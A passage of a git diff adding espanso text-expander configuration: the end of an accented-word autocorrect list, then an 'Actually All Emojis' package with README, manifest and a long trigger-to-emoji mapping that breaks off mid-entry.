propagate_case: true + word: true + + - trigger: "brulee" + replace: "brûlée" + propagate_case: true + word: true + + - trigger: "cafe'" + replace: "café" + propagate_case: true + word: true + + - trigger: "chateau" + replace: "château" + propagate_case: true + word: true + + - trigger: "cliche" + replace: "cliché" + propagate_case: true + word: true + + - trigger: "creme" + replace: "crème" + propagate_case: true + word: true + + - trigger: "crepe" + replace: "crêpe" + propagate_case: true + word: true + + - trigger: "debacle" + replace: "débâcle" + propagate_case: true + word: true + + - trigger: "debutante" + replace: "débutante" + propagate_case: true + word: true + + - trigger: "detente" + replace: "détente" + propagate_case: true + word: true + + - trigger: "divorcee" + replace: "divorcée" + propagate_case: true + word: true + + - trigger: "doppelganger" + replace: "doppelgänger" + propagate_case: true + word: true + + - trigger: "eclair" + replace: "éclair" + propagate_case: true + word: true + + - trigger: "eclat" + replace: "éclat" + propagate_case: true + word: true + + - trigger: "emigre" + replace: "émigré" + propagate_case: true + word: true + + - trigger: "entree" + replace: "entrée" + propagate_case: true + word: true + + - trigger: "epee" + replace: "épée" + propagate_case: true + word: true + + - trigger: "expose'" + replace: "exposé" + propagate_case: true + word: true + + - trigger: "facade" + replace: "façade" + propagate_case: true + word: true + + - trigger: "fete" + replace: "fête" + propagate_case: true + word: true + + - trigger: "fiance" + replace: "fiancé" + propagate_case: true + word: true + + - trigger: "flambe" + replace: "flambé" + propagate_case: true + word: true + + - trigger: "francais" + replace: "français" + propagate_case: true + word: true + + - trigger: "habitue" + replace: "habitué" + propagate_case: true + word: true + + - trigger: "ingenue" + replace: "ingénue" + propagate_case: true + word: true + + - trigger: "jalapeno" + replace: "jalapeño" + propagate_case: true + word: true + + - trigger: "manana" + replace: "mañana" + propagate_case: true + word: true + + - trigger: "matinee" + replace: "matinée" + propagate_case: true + word: true + + - trigger: "melange" + replace: "mélange" + propagate_case: true + word: true + + - trigger: "melee" + replace: "mêlée" + propagate_case: true + word: true + + - trigger: "moire" + replace: "moiré" + propagate_case: true + word: true + + - trigger: "naive" + replace: "naïve" + propagate_case: true + word: true + + - trigger: "nee'" + replace: "née" + propagate_case: true + word: true + + - trigger: "ole'" + replace: "olé" + propagate_case: true + word: true + + - trigger: "protege" + replace: "protégé" + propagate_case: true + word: true + + - trigger: "resume'" + replace: "résumé" + propagate_case: true + word: true + + - trigger: "rose'" + replace: "rosé" + propagate_case: true + word: true + + - trigger: "saute" + replace: "sauté" + propagate_case: true + word: true + + - trigger: "seance" + replace: "séance" + propagate_case: true + word: true + + - trigger: "senor" + replace: "señor" + propagate_case: true + word: true + + - trigger: "smorgasbord" + replace: "smörgåsbord" + propagate_case: true + word: true + + - trigger: "soiree" + replace: "soirée" + propagate_case: true + word: true + + - trigger: "souffle'" + replace: "soufflé" + propagate_case: true + word: true + + - trigger: "soupcon" + replace: "soupçon" + propagate_case: true + word: true + + - trigger: "touche'" + replace: "touché" + propagate_case: true + word: true + + - trigger: "voila" + replace: "voilà" + propagate_case: true + word: true diff --git a/.config/espanso/match/packages/actually-all-emojis/README.md b/.config/espanso/match/packages/actually-all-emojis/README.md new file mode 100644 index 0000000..f513951 --- /dev/null +++ b/.config/espanso/match/packages/actually-all-emojis/README.md @@ -0,0 +1,14 @@ +## Actually All Emojis + +An up-to-date package for [espanso](https://espanso.org/) which provides triggers for all emojis (`v14.0`). Emojis and codes fetched from [Unicode.org](https://unicode.org/emoji/charts/full-emoji-list.html) + +### Usage + +To use this package, just type the name of the emoji between two colons. For example, to use the `smile` emoji 😄, you can type: `:smile:` + +A full list of emojis and their CLDR Short Names can be found [here](https://unicode.org/emoji/charts/full-emoji-list.html) + +**Note**: There are two options for this package. One with spaces between words, and one with underscores. This version uses _underscores_ +For example `:kissing_face:` + +To install the version with spaces use `actually-all-emojis-spaces` diff --git a/.config/espanso/match/packages/actually-all-emojis/_manifest.yml b/.config/espanso/match/packages/actually-all-emojis/_manifest.yml new file mode 100644 index 0000000..545efc3 --- /dev/null +++ b/.config/espanso/match/packages/actually-all-emojis/_manifest.yml @@ -0,0 +1,7 @@ +author: Jobie Wong +description: An updated package providing all v.14 emojis - fetched from unicode.org +name: actually-all-emojis +title: Actually All Emojis +version: 0.1.0 +homepage: "https://github.com/jobiewong/espanso-emojis" +tags: ["emoji", "chat"] diff --git a/.config/espanso/match/packages/actually-all-emojis/_pkgsource.yml b/.config/espanso/match/packages/actually-all-emojis/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/.config/espanso/match/packages/actually-all-emojis/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/.config/espanso/match/packages/actually-all-emojis/package.yml b/.config/espanso/match/packages/actually-all-emojis/package.yml new file mode 100644 index 0000000..23077a2 --- /dev/null +++ b/.config/espanso/match/packages/actually-all-emojis/package.yml @@ -0,0 +1,3707 @@ +matches: + - trigger: ":grinning:" + replace: "\U0001F600" + - trigger: ":smiley:" + replace: "\U0001F603" + - trigger: ":smile:" + replace: "\U0001F604" + - trigger: ":grin:" + replace: "\U0001F601" + - trigger: ":laughing:" + replace: "\U0001F606" + - trigger: ":sweat_smile:" + replace: "\U0001F605" + - trigger: ":rofl:" + replace: "\U0001F923" + - trigger: ":joy:" + replace: "\U0001F602" + - trigger: ":slightly_smiling_face:" + replace: "\U0001F642" + - trigger: ":upside_down_face:" + replace: "\U0001F643" + - trigger: ":melting_face:" + replace: "\U0001FAE0" + - trigger: ":winking_face:" + replace: "\U0001F609" + - trigger: ":smiling_face_with_smiling_eyes:" + replace: "\U0001F60A" + - trigger: ":smiling_face_with_halo:" + replace: "\U0001F607" + - trigger: ":smiling_face_with_hearts:" + replace: "\U0001F970" + - trigger: ":heart_eyes:" + replace: "\U0001F60D" + - trigger: ":star_struck:" + replace: "\U0001F929" + - trigger: ":face_blowing_a_kiss:" + replace: "\U0001F618" + - trigger: ":kissing_face:" + replace: "\U0001F617" + - trigger: ":smiling_face:" + replace: "\U0000263A" + - trigger: ":kissing_face_with_closed_eyes:" + replace: "\U0001F61A" + - trigger: ":kissing_face_with_smiling_eyes:" + replace: "\U0001F619" + - trigger: ":smiling_face_with_tear:" + replace: "\U0001F972" + - trigger: ":face_savoring_food:" + replace: "\U0001F60B" + - trigger: ":face_with_tongue:" + replace: "\U0001F61B" + - trigger: ":winking_face_with_tongue:" + replace: "\U0001F61C" + - trigger: ":zany_face:" + replace: "\U0001F92A" + - trigger: ":squinting_face_with_tongue:" + replace: "\U0001F61D" + - trigger: ":money_mouth_face:" + replace: "\U0001F911" + - trigger: ":smiling_face_with_open_hands:" + replace: "\U0001F917" + - trigger: ":face_with_hand_over_mouth:" + replace: "\U0001F92D" + - trigger: ":face_with_open_eyes_and_hand_over_mouth:" + replace: "\U0001FAE2" + - trigger: ":face_with_peeking_eye:" + replace: "\U0001FAE3" + - trigger: ":shushing_face:" + replace: "\U0001F92B" + - trigger: ":thinking_face:" + replace: "\U0001F914" + - trigger: ":saluting_face:" + replace: "\U0001FAE1" + - trigger: ":zipper_mouth_face:" + replace: "\U0001F910" + - trigger: ":face_with_raised_eyebrow:" + replace: "\U0001F928" + - trigger: ":neutral_face:" + replace: "\U0001F610" + - trigger: ":expressionless_face:" + replace: "\U0001F611" + - trigger: ":face_without_mouth:" + replace: "\U0001F636" + - trigger: ":dotted_line_face:" + replace: "\U0001FAE5" + - trigger: ":face_in_clouds:" + replace: "\U0000FE0F" + - trigger: ":smirking_face:" + replace: "\U0001F60F" + - trigger: ":unamused_face:" + replace: "\U0001F612" + - trigger: ":face_with_rolling_eyes:" + replace: "\U0001F644" + - trigger: ":grimacing_face:" + replace: "\U0001F62C" + - trigger: ":face_exhaling:" + replace: "\U0001F4A8" + - trigger: ":lying_face:" + replace: "\U0001F925" + - trigger: ":relieved_face:" + replace: "\U0001F60C" + - trigger: ":pensive_face:" + replace: "\U0001F614" + - trigger: ":sleepy_face:" + replace: "\U0001F62A" + - trigger: ":drooling_face:" + replace: "\U0001F924" + - trigger: ":sleeping_face:" + replace: "\U0001F634" + - trigger: ":face_with_medical_mask:" + replace: "\U0001F637" + - trigger: ":face_with_thermometer:" + replace: "\U0001F912" + - trigger: ":face_with_head_bandage:" + replace: "\U0001F915" + - trigger: ":nauseated_face:" + replace: "\U0001F922" + - trigger: ":face_vomiting:" + replace: "\U0001F92E" + - trigger: ":sneezing_face:" + replace: "\U0001F927" + - trigger: ":hot_face:" + replace: "\U0001F975" + - trigger: ":cold_face:" + replace: "\U0001F976" + - trigger: ":woozy_face:" + replace: "\U0001F974" + - trigger: ":face_with_crossed_out_eyes:" + replace: "\U0001F635" + - trigger: ":face_with_spiral_eyes:" + replace: "\U0001F4AB" + - trigger: ":exploding_head:" + replace: "\U0001F92F" + - trigger: ":cowboy_hat_face:" + replace: "\U0001F920" + - trigger: ":partying_face:" + replace: "\U0001F973" + - trigger: ":disguised_face:" + replace: "\U0001F978" + - trigger: ":smiling_face_with_sunglasses:" + replace: "\U0001F60E" + - trigger: ":nerd_face:" + replace: "\U0001F913" + - trigger: ":face_with_monocle:" + replace: "\U0001F9D0" + - trigger: ":confused_face:" + replace: "\U0001F615" + - trigger: ":face_with_diagonal_mouth:" + replace: "\U0001FAE4" + - trigger: ":worried_face:" + replace: "\U0001F61F" + - trigger: ":slightly_frowning_face:" + replace: "\U0001F641" + - trigger: ":frowning_face:" + replace: "\U00002639" + - trigger: ":face_with_open_mouth:" + replace: "\U0001F62E" + - trigger: ":hushed_face:" + replace: "\U0001F62F" + - trigger: ":astonished_face:" + replace: "\U0001F632" + - trigger: ":flushed_face:" + replace: "\U0001F633" + - trigger: ":pleading_face:" + replace: "\U0001F97A" + - trigger: ":face_holding_back_tears:" + replace: "\U0001F979" + - trigger: ":frowning_face_with_open_mouth:" + replace: "\U0001F626" + - trigger: ":anguished_face:" + replace: "\U0001F627" + - trigger: ":fearful_face:" + replace: "\U0001F628" + - trigger: ":anxious_face_with_sweat:" + replace: "\U0001F630" + - trigger: ":sad_but_relieved_face:" + replace: "\U0001F625" + - trigger: ":crying_face:" + replace: "\U0001F622" + - trigger: ":loudly_crying_face:" + replace: "\U0001F62D" + - trigger: ":face_screaming_in_fear:" + replace: "\U0001F631" + - trigger: ":confounded_face:" + replace: "\U0001F616" + - trigger: ":persevering_face:" + replace: "\U0001F623" + - trigger: ":disappointed_face:" + replace: "\U0001F61E" + - trigger: ":downcast_face_with_sweat:" + replace: "\U0001F613" + - trigger: ":weary_face:" + replace: "\U0001F629" + - trigger: ":tired_face:" + replace: "\U0001F62B" + - trigger: ":yawning_face:" + replace: "\U0001F971" + - trigger: ":face_with_steam_from_nose:" + replace: "\U0001F624" + - trigger: ":pouting_face:" + replace: "\U0001F621" + - trigger: ":angry_face:" + replace: "\U0001F620" + - trigger: ":face_with_symbols_on_mouth:" + replace: "\U0001F92C" + - trigger: ":smiling_face_with_horns:" + replace: "\U0001F608" + - trigger: ":angry_face_with_horns:" + replace: "\U0001F47F" + - trigger: ":skull:" + replace: "\U0001F480" + - trigger: ":skull_and_crossbones:" + replace: "\U00002620" + - trigger: ":pile_of_poo:" + replace: "\U0001F4A9" + - trigger: ":clown_face:" + replace: "\U0001F921" + - trigger: ":ogre:" + replace: "\U0001F479" + - trigger: ":goblin:" + replace: "\U0001F47A" + - trigger: ":ghost:" + replace: "\U0001F47B" + - trigger: ":alien:" + replace: "\U0001F47D" + - trigger: ":alien_monster:" + replace: "\U0001F47E" + - trigger: ":robot:" + replace: "\U0001F916" + - trigger: ":grinning_cat:" + replace: "\U0001F63A" + - trigger: ":grinning_cat_with_smiling_eyes:" + replace: "\U0001F638" + - trigger: ":cat_with_tears_of_joy:" + replace: "\U0001F639" + - trigger: ":smiling_cat_with_heart_eyes:" + replace: "\U0001F63B" + - trigger: ":cat_with_wry_smile:" + replace: "\U0001F63C" + - trigger: ":kissing_cat:" + replace: "\U0001F63D" + - trigger: ":weary_cat:" + replace: "\U0001F640" + - trigger: ":crying_cat:" + replace: "\U0001F63F" + - trigger: ":pouting_cat:" + replace: "\U0001F63E" + - trigger: ":see_no_evil_monkey:" + replace: "\U0001F648" + - trigger: ":hear_no_evil_monkey:" + replace: "\U0001F649" + - trigger: ":speak_no_evil_monkey:" + replace: "\U0001F64A" + - trigger: ":kiss_mark:" + replace: "\U0001F48B" + - trigger: ":love_letter:" + replace: "\U0001F48C" + - trigger: ":heart_with_arrow:" + replace: "\U0001F498" + - trigger: ":heart_with_ribbon:" + replace: "\U0001F49D" + - trigger: ":sparkling_heart:" + replace: "\U0001F496" + - trigger: ":growing_heart:" + replace: "\U0001F497" + - trigger: ":beating_heart:" + replace: "\U0001F493" + - trigger: ":revolving_hearts:" + replace: "\U0001F49E" + - trigger: ":two_hearts:" + replace: "\U0001F495" + - trigger: ":heart_decoration:" + replace: "\U0001F49F" + - trigger: ":heart_exclamation:" + replace: "\U00002763" + - trigger: ":broken_heart:" + replace: "\U0001F494" + - trigger: ":heart_on_fire:" + replace: "\U0001F525" + - trigger: ":mending_heart:" + replace: "\U0001FA79" + - trigger: ":red_heart:" + replace: "\U00002764" + - trigger: ":orange_heart:" + replace: "\U0001F9E1" + - trigger: ":yellow_heart:" + replace: "\U0001F49B" + - trigger: ":green_heart:" + replace: "\U0001F49A" + - trigger: ":blue_heart:" + replace: "\U0001F499" + - trigger: ":purple_heart:" + replace: "\U0001F49C" + - trigger: ":brown_heart:" + replace: "\U0001F90E" + - trigger: ":black_heart:" + replace: "\U0001F5A4" + - trigger: ":white_heart:" + replace: "\U0001F90D" + - trigger: ":hundred_points:" + replace: "\U0001F4AF" + - trigger: ":anger_symbol:" + replace: "\U0001F4A2" + - trigger: ":collision:" + replace: "\U0001F4A5" + - trigger: ":dizzy:" + replace: "\U0001F4AB" + - trigger: ":sweat_droplets:" + replace: "\U0001F4A6" + - trigger: ":dashing_away:" + replace: "\U0001F4A8" + - trigger: ":hole:" + replace: "\U0001F573" + - trigger: ":bomb:" + replace: "\U0001F4A3" + - trigger: ":speech_balloon:" + replace: "\U0001F4AC" + - trigger: ":eye_in_speech_bubble:" + replace: "\U0000FE0F" + - trigger: ":left_speech_bubble:" + replace: "\U0001F5E8" + - trigger: ":right_anger_bubble:" + replace: "\U0001F5EF" + - trigger: ":thought_balloon:" + replace: "\U0001F4AD" + - trigger: ":zzz:" + replace: "\U0001F4A4" + - trigger: ":waving_hand:" + replace: "\U0001F44B" + - trigger: ":raised_back_of_hand:" + replace: "\U0001F91A" + - trigger: ":hand_with_fingers_splayed:" + replace: "\U0001F590" + - trigger: ":raised_hand:" + replace: "\U0000270B" + - trigger: ":vulcan_salute:" + replace: "\U0001F596" + - trigger: ":rightwards_hand:" + replace: "\U0001FAF1" + - trigger: ":leftwards_hand:" + replace: "\U0001FAF2" + - trigger: ":palm_down_hand:" + replace: "\U0001FAF3" + - trigger: ":palm_up_hand:" + replace: "\U0001FAF4" + - trigger: ":ok_hand:" + replace: "\U0001F44C" + - trigger: ":pinched_fingers:" + replace: "\U0001F90C" + - trigger: ":pinching_hand:" + replace: "\U0001F90F" + - trigger: ":victory_hand:" + replace: "\U0000270C" + - trigger: ":crossed_fingers:" + replace: "\U0001F91E" + - trigger: ":hand_with_index_finger_and_thumb_crossed:" + replace: "\U0001FAF0" + - trigger: ":love_you_gesture:" + replace: "\U0001F91F" + - trigger: ":sign_of_the_horns:" + replace: "\U0001F918" + - trigger: ":call_me_hand:" + replace: "\U0001F919" + - trigger: ":backhand_index_pointing_left:" + replace: "\U0001F448" + - trigger: ":backhand_index_pointing_right:" + replace: "\U0001F449" + - trigger: ":backhand_index_pointing_up:" + replace: "\U0001F446" + - trigger: ":middle_finger:" + replace: "\U0001F595" + - trigger: ":backhand_index_pointing_down:" + replace: "\U0001F447" + - trigger: ":index_pointing_up:" + replace: "\U0000261D" + - trigger: ":index_pointing_at_the_viewer:" + replace: "\U0001FAF5" + - trigger: ":thumbs_up:" + replace: "\U0001F44D" + - trigger: ":thumbs_down:" + replace: "\U0001F44E" + - trigger: ":raised_fist:" + replace: "\U0000270A" + - trigger: ":oncoming_fist:" + replace: "\U0001F44A" + - trigger: ":left_facing_fist:" + replace: "\U0001F91B" + - trigger: ":right_facing_fist:" + replace: "\U0001F91C" + - trigger: ":clapping_hands:" + replace: "\U0001F44F" + - trigger: ":raising_hands:" + replace: "\U0001F64C" + - trigger: ":heart_hands:" + replace: "\U0001FAF6" + - trigger: ":open_hands:" + replace: "\U0001F450" + - trigger: ":palms_up_together:" + replace: "\U0001F932" + - trigger: ":handshake:" + replace: "\U0001F91D" + - trigger: ":folded_hands:" + replace: "\U0001F64F" + - trigger: ":writing_hand:" + replace: "\U0000270D" + - trigger: ":nail_polish:" + replace: "\U0001F485" + - trigger: ":selfie:" + replace: "\U0001F933" + - trigger: ":flexed_biceps:" + replace: "\U0001F4AA" + - trigger: ":mechanical_arm:" + replace: "\U0001F9BE" + - trigger: ":mechanical_leg:" + replace: "\U0001F9BF" + - trigger: ":leg:" + replace: "\U0001F9B5" + - trigger: ":foot:" + replace: "\U0001F9B6" + - trigger: ":ear:" + replace: "\U0001F442" + - trigger: ":ear_with_hearing_aid:" + replace: "\U0001F9BB" + - trigger: ":nose:" + replace: "\U0001F443" + - trigger: ":brain:" + replace: "\U0001F9E0" + - trigger: ":anatomical_heart:" + replace: "\U0001FAC0" + - trigger: ":lungs:" + replace: "\U0001FAC1" + - trigger: ":tooth:" + replace: "\U0001F9B7" + - trigger: ":bone:" + replace: "\U0001F9B4" + - trigger: ":eyes:" + replace: "\U0001F440" + - trigger: ":eye:" + replace: "\U0001F441" + - trigger: ":tongue:" + replace: "\U0001F445" + - trigger: ":mouth:" + replace: "\U0001F444" + - trigger: ":biting_lip:" + replace: "\U0001FAE6" + - trigger: ":baby:" + replace: "\U0001F476" + - trigger: ":child:" + replace: "\U0001F9D2" + - trigger: ":boy:" + replace: "\U0001F466" + - trigger: ":girl:" + replace: "\U0001F467" + - trigger: ":person:" + replace: "\U0001F9D1" + - trigger: ":person_blond_hair:" + replace: "\U0001F471" + - trigger: ":man:" + replace: "\U0001F468" + - trigger: ":person_beard:" + replace: "\U0001F9D4" + - trigger: ":man_beard:" + replace: "\U0000FE0F" + - trigger: ":woman_beard:" + replace: "\U0000FE0F" + - trigger: ":man_red_hair:" + replace: "\U0001F9B0" + - trigger: ":man_curly_hair:" + replace: "\U0001F9B1" + - trigger: ":man_white_hair:" + replace: "\U0001F9B3" + - trigger: ":man_bald:" + replace: "\U0001F9B2" + - trigger: ":woman:" + replace: "\U0001F469" + - trigger: ":woman_red_hair:" + replace: "\U0001F9B0" + - trigger: ":person_red_hair:" + replace: "\U0001F9B0" + - trigger: ":woman_curly_hair:" + replace: "\U0001F9B1" + - trigger: ":person_curly_hair:" + replace: "\U0001F9B1" + - trigger: ":woman_white_hair:" + replace: "\U0001F9B3" + - trigger: ":person_white_hair:" + replace: "\U0001F9B3" + - trigger: ":woman_bald:" + replace: "\U0001F9B2" + - trigger: ":person_bald:" + replace: "\U0001F9B2" + - trigger: ":woman_blond_hair:" + replace: "\U0000FE0F" + - trigger: ":man_blond_hair:" + replace: "\U0000FE0F" + - trigger: ":older_person:" + replace: "\U0001F9D3" + - trigger: ":old_man:" + replace: "\U0001F474" + - trigger: ":old_woman:" + replace: "\U0001F475" + - trigger: ":person_frowning:" + replace: "\U0001F64D" + - trigger: ":man_frowning:" + replace: "\U0000FE0F" + - trigger: ":woman_frowning:" + replace: "\U0000FE0F" + - trigger: ":person_pouting:" + replace: "\U0001F64E" + - trigger: ":man_pouting:" + replace: "\U0000FE0F" + - trigger: ":woman_pouting:" + replace: "\U0000FE0F" + - trigger: ":person_gesturing_no:" + replace: "\U0001F645" + - trigger: ":man_gesturing_no:" + replace: "\U0000FE0F" + - trigger: ":woman_gesturing_no:" + replace: "\U0000FE0F" + - trigger: ":person_gesturing_ok:" + replace: "\U0001F646" + - trigger: ":man_gesturing_ok:" + replace: "\U0000FE0F" + - trigger: ":woman_gesturing_ok:" + replace: "\U0000FE0F" + - trigger: ":person_tipping_hand:" + replace: "\U0001F481" + - trigger: ":man_tipping_hand:" + replace: "\U0000FE0F" + - trigger: ":woman_tipping_hand:" + replace: "\U0000FE0F" + - trigger: ":person_raising_hand:" + replace: "\U0001F64B" + - trigger: ":man_raising_hand:" + replace: "\U0000FE0F" + - trigger: ":woman_raising_hand:" + replace: "\U0000FE0F" + - trigger: ":deaf_person:" + replace: "\U0001F9CF" + - trigger: ":deaf_man:" + replace: "\U0000FE0F" + - trigger: ":deaf_woman:" + replace: "\U0000FE0F" + - trigger: ":person_bowing:" + replace: "\U0001F647" + - trigger: ":man_bowing:" + replace: "\U0000FE0F" + - trigger: ":woman_bowing:" + replace: "\U0000FE0F" + - trigger: ":person_facepalming:" + replace: "\U0001F926" + - trigger: ":man_facepalming:" + replace: "\U0000FE0F" + - trigger: ":woman_facepalming:" + replace: "\U0000FE0F" + - trigger: ":person_shrugging:" + replace: "\U0001F937" + - trigger: ":man_shrugging:" + replace: "\U0000FE0F" + - trigger: ":woman_shrugging:" + replace: "\U0000FE0F" + - trigger: ":health_worker:" + replace: "\U0000FE0F" + - trigger: ":man_health_worker:" + replace: "\U0000FE0F" + - trigger: ":woman_health_worker:" + replace: "\U0000FE0F" + - trigger: ":student:" + replace: "\U0001F393" + - trigger: ":man_student:" + replace: "\U0001F393" + - trigger: ":woman_student:" + replace: "\U0001F393" + - trigger: ":teacher:" + replace: "\U0001F3EB" + - trigger: ":man_teacher:" + replace: "\U0001F3EB" + - trigger: ":woman_teacher:" + replace: "\U0001F3EB" + - trigger: ":judge:" + replace: "\U0000FE0F" + - trigger: ":man_judge:" + replace: "\U0000FE0F" + - trigger: ":woman_judge:" + replace: "\U0000FE0F" + - trigger: ":farmer:" + replace: "\U0001F33E" + - trigger: ":man_farmer:" + replace: "\U0001F33E" + - trigger: ":woman_farmer:" + replace: "\U0001F33E" + - trigger: ":cook:" + replace: "\U0001F373" + - trigger: ":man_cook:" + replace: "\U0001F373" + - trigger: ":woman_cook:" + replace: "\U0001F373" + - trigger: ":mechanic:" + replace: "\U0001F527" + - trigger: ":man_mechanic:" + replace: "\U0001F527" + - trigger: ":woman_mechanic:" + replace: "\U0001F527" + - trigger: ":factory_worker:" + replace: "\U0001F3ED" + - trigger: ":man_factory_worker:" + replace: "\U0001F3ED" + - trigger: ":woman_factory_worker:" + replace: "\U0001F3ED" + - trigger: ":office_worker:" + replace: "\U0001F4BC" + - trigger: ":man_office_worker:" + replace: "\U0001F4BC" + - trigger: ":woman_office_worker:" + replace: "\U0001F4BC" + - trigger: ":scientist:" + replace: "\U0001F52C" + - trigger: ":man_scientist:" + replace: "\U0001F52C" + - trigger: ":woman_scientist:" + replace: "\U0001F52C" + - trigger: ":technologist:" + replace: "\U0001F4BB" + - trigger: ":man_technologist:" + replace: "\U0001F4BB" + - trigger: ":woman_technologist:" + replace: "\U0001F4BB" + - trigger: ":singer:" + replace: "\U0001F3A4" + - trigger: ":man_singer:" + replace: "\U0001F3A4" + - trigger: ":woman_singer:" + replace: "\U0001F3A4" + - trigger: ":artist:" + replace: "\U0001F3A8" + - trigger: ":man_artist:" + replace: "\U0001F3A8" + - trigger: ":woman_artist:" + replace: "\U0001F3A8" + - trigger: ":pilot:" + replace: "\U0000FE0F" + - trigger: ":man_pilot:" + replace: "\U0000FE0F" + - trigger: ":woman_pilot:" + replace: "\U0000FE0F" + - trigger: ":astronaut:" + replace: "\U0001F680" + - trigger: ":man_astronaut:" + replace: "\U0001F680" + - trigger: ":woman_astronaut:" + replace: "\U0001F680" + - trigger: ":firefighter:" + replace: "\U0001F692" + - trigger: ":man_firefighter:" + replace: "\U0001F692" + - trigger: ":woman_firefighter:" + replace: "\U0001F692" + - trigger: ":police_officer:" + replace: "\U0001F46E" + - trigger: ":man_police_officer:" + replace: "\U0000FE0F" + - trigger: ":woman_police_officer:" + replace: "\U0000FE0F" + - trigger: ":detective:" + replace: "\U0001F575" + - trigger: ":man_detective:" + replace: "\U0000FE0F" + - trigger: ":woman_detective:" + replace: "\U0000FE0F" + - trigger: ":guard:" + replace: "\U0001F482" + - trigger: ":man_guard:" + replace: "\U0000FE0F" + - trigger: ":woman_guard:" + replace: "\U0000FE0F" + - trigger: ":ninja:" + replace: "\U0001F977" + - trigger: ":construction_worker:" + replace: "\U0001F477" + - trigger: ":man_construction_worker:" + replace: "\U0000FE0F" + - trigger: ":woman_construction_worker:" + replace: "\U0000FE0F" + - trigger: ":person_with_crown:" + replace: "\U0001FAC5" + - trigger: ":prince:" + replace: "\U0001F934" + - trigger: ":princess:" + replace: "\U0001F478" + - trigger: ":person_wearing_turban:" + replace: "\U0001F473" + - trigger: ":man_wearing_turban:" + replace: "\U0000FE0F" + - trigger: ":woman_wearing_turban:" + replace: "\U0000FE0F" + - trigger: ":person_with_skullcap:" + replace: "\U0001F472" + - trigger: ":woman_with_headscarf:" + replace: "\U0001F9D5" + - trigger: ":person_in_tuxedo:" + replace: "\U0001F935" + - trigger: ":man_in_tuxedo:" + replace: "\U0000FE0F" + - trigger: ":woman_in_tuxedo:" + replace: "\U0000FE0F" + - trigger: ":person_with_veil:" + replace: "\U0001F470" + - trigger: ":man_with_veil:" + replace: "\U0000FE0F" + - trigger: ":woman_with_veil:" + replace: "\U0000FE0F" + - trigger: ":pregnant_woman:" + replace: "\U0001F930" + - trigger: ":pregnant_man:" + replace: "\U0001FAC3" + - trigger: ":pregnant_person:" + replace: "\U0001FAC4" + - trigger: ":breast_feeding:" + replace: "\U0001F931" + - trigger: ":woman_feeding_baby:" + replace: "\U0001F37C" + - trigger: ":man_feeding_baby:" + replace: "\U0001F37C" + - trigger: ":person_feeding_baby:" + replace: "\U0001F37C" + - trigger: ":baby_angel:" + replace: "\U0001F47C" + - trigger: ":santa_claus:" + replace: "\U0001F385" + - trigger: ":mrs_claus:" + replace: "\U0001F936" + - trigger: ":mx_claus:" + replace: "\U0001F384" + - trigger: ":superhero:" + replace: "\U0001F9B8" + - trigger: ":man_superhero:" + replace: "\U0000FE0F" + - trigger: ":woman_superhero:" + replace: "\U0000FE0F" + - trigger: ":supervillain:" + replace: "\U0001F9B9" + - trigger: ":man_supervillain:" + replace: "\U0000FE0F" + - trigger: ":woman_supervillain:" + replace: "\U0000FE0F" + - trigger: ":mage:" + replace: "\U0001F9D9" + - trigger: ":man_mage:" + replace: "\U0000FE0F" + - trigger: ":woman_mage:" + replace: "\U0000FE0F" + - trigger: ":fairy:" + replace: "\U0001F9DA" + - trigger: ":man_fairy:" + replace: "\U0000FE0F" + - trigger: ":woman_fairy:" + replace: "\U0000FE0F" + - trigger: ":vampire:" + replace: "\U0001F9DB" + - trigger: ":man_vampire:" + replace: "\U0000FE0F" + - trigger: ":woman_vampire:" + replace: "\U0000FE0F" + - trigger: ":merperson:" + replace: "\U0001F9DC" + - trigger: ":merman:" + replace: "\U0000FE0F" + - trigger: ":mermaid:" + replace: "\U0000FE0F" + - trigger: ":elf:" + replace: "\U0001F9DD" + - trigger: ":man_elf:" + replace: "\U0000FE0F" + - trigger: ":woman_elf:" + replace: "\U0000FE0F" + - trigger: ":genie:" + replace: "\U0001F9DE" + - trigger: ":man_genie:" + replace: "\U0000FE0F" + - trigger: ":woman_genie:" + replace: "\U0000FE0F" + - trigger: ":zombie:" + replace: "\U0001F9DF" + - trigger: ":man_zombie:" + replace: "\U0000FE0F" + - trigger: ":woman_zombie:" + replace: "\U0000FE0F" + - trigger: ":troll:" + replace: "\U0001F9CC" + - trigger: ":person_getting_massage:" + replace: "\U0001F486" + - trigger: ":man_getting_massage:" + replace: "\U0000FE0F" + - trigger: ":woman_getting_massage:" + replace: "\U0000FE0F" + - trigger: ":person_getting_haircut:" + replace: "\U0001F487" + - trigger: ":man_getting_haircut:" + replace: "\U0000FE0F" + - trigger: ":woman_getting_haircut:" + replace: "\U0000FE0F" + - trigger: ":person_walking:" + replace: "\U0001F6B6" + - trigger: ":man_walking:" + replace: "\U0000FE0F" + - trigger: ":woman_walking:" + replace: "\U0000FE0F" + - trigger: ":person_standing:" + replace: "\U0001F9CD" + - trigger: ":man_standing:" + replace: "\U0000FE0F" + - trigger: ":woman_standing:" + replace: "\U0000FE0F" + - trigger: ":person_kneeling:" + replace: "\U0001F9CE" + - trigger: ":man_kneeling:" + replace: "\U0000FE0F" + - trigger: ":woman_kneeling:" + replace: "\U0000FE0F" + - trigger: ":person_with_white_cane:" + replace: "\U0001F9AF" + - trigger: ":man_with_white_cane:" + replace: "\U0001F9AF" + - trigger: ":woman_with_white_cane:" + replace: "\U0001F9AF" + - trigger: ":person_in_motorized_wheelchair:" + replace: "\U0001F9BC" + - trigger: ":man_in_motorized_wheelchair:" + replace: "\U0001F9BC" + - trigger: ":woman_in_motorized_wheelchair:" + replace: "\U0001F9BC" + - trigger: ":person_in_manual_wheelchair:" + replace: "\U0001F9BD" + - trigger: ":man_in_manual_wheelchair:" + replace: "\U0001F9BD" + - trigger: ":woman_in_manual_wheelchair:" + replace: "\U0001F9BD" + - trigger: ":person_running:" + replace: "\U0001F3C3" + - trigger: ":man_running:" + replace: "\U0000FE0F" + - trigger: ":woman_running:" + replace: "\U0000FE0F" + - trigger: ":woman_dancing:" + replace: "\U0001F483" + - trigger: ":man_dancing:" + replace: "\U0001F57A" + - trigger: ":person_in_suit_levitating:" + replace: "\U0001F574" + - trigger: ":people_with_bunny_ears:" + replace: "\U0001F46F" + - trigger: ":men_with_bunny_ears:" + replace: "\U0000FE0F" + - trigger: ":women_with_bunny_ears:" + replace: "\U0000FE0F" + - trigger: ":person_in_steamy_room:" + replace: "\U0001F9D6" + - trigger: ":man_in_steamy_room:" + replace: "\U0000FE0F" + - trigger: ":woman_in_steamy_room:" + replace: 